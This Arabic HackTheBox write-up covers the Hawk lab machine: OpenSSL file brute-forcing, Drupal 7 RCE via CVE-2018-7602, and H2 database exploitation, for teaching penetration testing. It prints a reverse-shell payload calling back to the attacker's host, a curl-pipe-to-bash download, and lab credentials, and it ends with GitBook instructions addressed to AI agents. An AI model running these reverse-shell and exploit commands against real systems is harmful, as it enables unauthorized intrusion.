> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md).

# شرح Hawk HackTheBox

{% embed url="<https://app.hackthebox.com/machines/146>" %}

{% hint style="warning" %}
**المهارات:**

* القوة الغاشمة وفك التشفير لمعيار OpenSSL Cipher
* استكشاف/استغلال Drupal
* استغلال قاعدة بيانات H2
  {% endhint %}

## الاستطلاع

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/40a7046bac0bdfa86eee087fbb59dacdf502b7d5" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

التحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف

<figure><img src="/files/0ba262d68fc4e88391ce31750940b7db86fb8599" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

استكشاف المنافذ المفتوحة وتصديرها إلى الملف "allPorts" في دليل Nmap.

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts
```

<figure><img src="/files/e6694eaaadc00fd9fe2fb366999919697d3c231e" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

باستخدام دالة extractPorts لعرض المنافذ المفتوحة بشكل مختصر ونسخها إلى الحافظة (21,22,80,5435,9092)

<figure><img src="/files/b3e866ed44029960cde00fa3c0f764c3efa91475" alt=""><figcaption></figcaption></figure>

#### فحص إصدارات المنافذ باستخدام Nmap:

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted
```

<figure><img src="/files/f1105b39236bef0ec5b825bb30faa98918e94e19" alt=""><figcaption></figcaption></figure>

### المنفذ 21 - FTP

نحن نتصل كـ **anonymous** مستخدم ونكتشف ملفًا مخفيًا يسمى `.drupal.txt.enc`.

<figure><img src="/files/dbdad40e2bc31f0ce3ea5979a317dca5af909844" alt=""><figcaption></figcaption></figure>

## القوة الغاشمة - Openssh (.enc)

> الـ **.enc** الامتداد يشير عادةً إلى ملف **مُرمَّز** (مشفّر). ويُستخدم للدلالة على أن محتوى الملف قد حُمي بواسطة خوارزمية تشفير، مما يجعل البيانات غير قابلة للقراءة بدون المفتاح أو كلمة المرور المناسبة. يمكن أن تحتوي هذه الملفات على أي نوع من البيانات (نصوص، صور، فيديوهات، إلخ) وتُستخدم عادةً لتأمين المعلومات الحساسة.

الـ `.enc` الملف مشفّر باستخدام خوارزمية **AES-256-CBC** ومرمّز بصيغة **Base64**.

<figure><img src="/files/2be4c74275e6164d906128527e3dd9f7f8c350eb" alt=""><figcaption></figcaption></figure>

**الخطوة 1: فك ترميز Base64**

```bash
cat .drupal.txt.enc | base64 -d > file_decoded.enc
```

<figure><img src="/files/219458323b78ad58eb8419a796e25cc0dd7fd95f" alt=""><figcaption></figcaption></figure>

**الخطوة 2: فك التشفير باستخدام OpenSSL**

لفك شفرة الملف، نحتاج إلى كلمة مرور. إليك الأمر لمحاولة فك التشفير يدويًا:

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64
```

<figure><img src="/files/6aafc37b6088c97a6d25584f697d90c96b103618" alt=""><figcaption></figcaption></figure>

**الخطوة 3: سكربت أتمتة للقوة الغاشمة**

نستخدم سكربت Bash لاختبار قائمة كلمات مرور (مثل `rockyou.txt`).

```bash
#!/bin/bash

function ctrl_c(){
    echo -e "/n/n[!] جارٍ الخروج.../n"
    tput cnorm; exit 1
}

# Ctrl+C
trap ctrl_c INT

tput civis
for password in $(cat /usr/share/wordlists/rockyou.txt); do
    openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null

    if [ "$(echo $?)" == "0" ]; then
        echo -e "/n[+] كلمة المرور هي : $password/n"
        exit 0
    fi
done; tput cnorm
```

**النتيجة:**

كلمة المرور التي تم العثور عليها هي: **الأصدقاء**

<figure><img src="/files/865b2894b3f9bce7348727c5c2a35686a9403844" alt=""><figcaption></figcaption></figure>

#### **الرسالة المفكوكة التشفير**

يحتوي الملف المفكوك التشفير على كلمة مرور جديدة:

```bash
openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64

الأصدقاء
```

* **PencilKeyboardScanner123**

<figure><img src="/files/5400bb17395a4a0d8c5af6b373acc3fd5797b820" alt=""><figcaption></figcaption></figure>

## المنفذ 80 - HTTP

يستضيف المنفذ 80 نظام Drupal 7 CMS.

```bash
whatweb 10.10.10.102
```

<figure><img src="/files/fabf78ed7127ad1546e975faa3023cc622a923e8" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/c47e0c2a176d6c940b177a4fc07dc1edd46a2d3f" alt=""><figcaption></figcaption></figure>

**المصادقة - الدخول بكلمة مرور**

حاول الاتصال باستخدام `PencilKeyboardScanner123` كلمة المرور الخاصة بالمستخدم `admin` وتنجح المصادقة.

<figure><img src="/files/455eba085224436c7279fbc293cd84f24ed3a10b" alt=""><figcaption></figcaption></figure>

### Shell عكسي - Drupal 7

سنستخدم السكربت التالي لتنفيذ الأوامر على خادم Drupal أقل من الإصدار 7 (CVE-2018-7602):

{% embed url="<https://github.com/pimps/CVE-2018-7600/blob/master/drupa7-CVE-2018-7602.py>" %}

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru"
```

يتيح لك هذا الأمر تنفيذ `المعرّف` الأمر على الخادم.

<figure><img src="/files/496d7c6a41bf0a023058382a165d08ed653d652f" alt=""><figcaption></figcaption></figure>

**الوصول إلى الخادم**/ لإنشاء وصول إلى الخادم، نحتاج إلى الاستماع إلى المنفذ 443 باستخدام `nc`

```bash
nc -nvlp 443
```

ثم تنشئ `index.html` ملفًا بالمحتوى التالي لإنشاء shell عكسي:

```bash
#!/bin/bash 
bash -i >& /dev/tcp/10.10.14.30/443 0>&1
```

**خادم الويب وتنفيذ الأوامر**/ يشغّل خادم HTTP باستخدام Python:

```bash
python3 -m http.server 80 
```

ثم أرسل الأمر التالي لتنزيل السكربت وتشغيله:

```bash
curl http://10.10.14.3 | bash
```

```bash
python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru"
```

<div data-full-width="true"><figure><img src="/files/193aadd1289e437b8c3c78e2cb4c1bf6f035126f" alt=""><figcaption></figcaption></figure></div>

**تثبيت الطرفية** لإدارة الطرفية، تُستخدم الأوامر التالية:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### الراية user.txt :)

<figure><img src="/files/fc9e62759c81b11e19ee2fb8d5ff2ac0fd4ca876" alt="" width="563"><figcaption></figcaption></figure>

## **تصعيد الامتيازات**

من خلال استكشاف دليل الويب عند `/var/www/html`، يمكنك رؤية عدة ملفات إعدادات. ومن بينها، يتم تحديد ملف مثير للاهتمام:

<figure><img src="/files/0b914128ccca8a18331d5764b1c84cd83b2a3e16" alt=""><figcaption></figcaption></figure>

**المسار :** `sites/default/settings.php`

عند مراجعة هذا الملف، نجد معلومات حساسة:

* اسم المستخدم: drupal
* كلمة المرور: drupal4hawk

<figure><img src="/files/ee0b0d3a42d4968a83e91d52acb40b375f2d9554" alt=""><figcaption></figcaption></figure>

تتصل هذه الاعتمادات بقاعدة بيانات MySQL. وللقيام بذلك، تُستخدم الأوامر التالية:

```bash
mysql -u drupal -p
```

<figure><img src="/files/ab976a072caa0cab3c0e2a94da558595bcde2863" alt=""><figcaption></figcaption></figure>

بعد إدخال كلمة المرور، تُعرض جميع قواعد البيانات المتاحة، ثم يتم اختيار قاعدة البيانات المرتبطة بـ Drupal:

```sql
show databases;
use drupal;
```

بمجرد الدخول إلى قاعدة البيانات، نستكشف محتوى `users` الجدول للعثور على معلومات مثيرة للاهتمام:

```
SELECT * FROM users;
```

في هذا الجدول، نجد تجزئة كلمة مرور مرتبطة بمستخدم:

<figure><img src="/files/ce941e798096889850f6080e0d32730268822e76" alt=""><figcaption></figcaption></figure>

* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08`

### القوة الغاشمة باستخدام John - تجزئة كلمة المرور

استخدم John لكسر تجزئة كلمة المرور

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

ومع ذلك، في هذه الحالة المحددة، لم يتم العثور على تطابق في `rockyou.txt` قائمة كلمات المرور.

### الخروج من Python إلى Bash العادية

تمكّنا من الوصول إلى الخادم كمستخدم `daniel` لديه كلمة مرور مرتبطة بقاعدة البيانات (في هذا المثال، **drupal4hawk**). إليك الأمر للاتصال:

```bash
ssh daniel@10.10.10.182
```

كلمة المرور: **drupal4hawk**

بمجرد الاتصال، نكون مباشرة داخل مفسّر Python.

<figure><img src="/files/89a62a91994967db7fbd241c0e911b0270f8ecb4" alt=""><figcaption></figcaption></figure>

للعودة إلى صدفة Bash عادية، يمكننا استخدام `os` وحدة Python لتنفيذ أمر Bash. فيما يلي الخطوات:

1. استيراد الوحدة `os` :

   ```python
   import os
   ```
2. تشغيل صدفة Bash:

   ```python
   os.system('/bin/bash')
   ```

سيتيح لك هذا الوصول إلى صدفة Bash عادية من مفسر Python.

<figure><img src="/files/c57fc7f4b08f5b6559d4f2fd945866947499ee60" alt=""><figcaption></figcaption></figure>

## استغلال قاعدة بيانات H2

/*/* تحليل المنافذ المفتوحة/*/*

للبداية، ندرج المنافذ المفتوحة داخليًا باستخدام الأمر التالي:

```bash
netstat -tuln
```

نحدد أن المنفذ **8082** مفتوح ويستضيف خدمة. ومن خلال تحليله، نكتشف أنه نظام CMS لقاعدة بيانات: **قاعدة بيانات H2**.

<figure><img src="/files/97cd6344cbfd1a650c7af6996926809f54c5bf89" alt=""><figcaption></figcaption></figure>

للوصول إلى هذه الخدمة من جهازنا، نقوم بتحويل المنفذ باستخدام **SSH**، مع إعادة توجيه المنفذ الداخلي 8082 إلى المنفذ 8082 على جهازنا المحلي:

<figure><img src="/files/5c616f74a7ab29224cc1050fbea9a336ff6a076d" alt=""><figcaption></figcaption></figure>

### إعادة توجيه المنافذ

للوصول إلى هذه الخدمة من جهازنا، نقوم بتحويل المنفذ باستخدام **SSH**، مع إعادة توجيه المنفذ الداخلي 8082 إلى المنفذ 8082 على جهازنا المحلي:

```bash
ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102
```

### قاعدة بيانات H2:

<figure><img src="/files/ac2200d86c81c3c86d6f90236207c02646019b1d" alt=""><figcaption></figcaption></figure>

نستخدم **searchsploit** للبحث عن الثغرات المعروفة المرتبطة بقاعدة بيانات H2:

<figure><img src="/files/0fda68d7e5ab4cde8154384885808b4f031f89d9" alt=""><figcaption></figcaption></figure>

```
searchsploit -m java/webapps/45506.py
```

نجد ثغرة مثيرة تسمح بتنفيذ أوامر عن بُعد:

```bash
python3 45506.py -H 127.0.0.1:8082
```

<figure><img src="/files/ba55e1e26b1b2ac9a8e86284a8353870d071bb0e" alt=""><figcaption></figcaption></figure>

### العلم root.txt :)

يتيح لنا السكربت تنفيذ أوامر على الجهاز المستهدف. ومن خلال التنقل في النظام، نسترجع **الراية root.txt**.

<figure><img src="/files/c0739deeb1e3dc3d2c22d6892c8dbc5873f7cd7b" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/ee08109dff2d7a66fb9aea8551bbbc5357f91d52" alt="" width="488"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
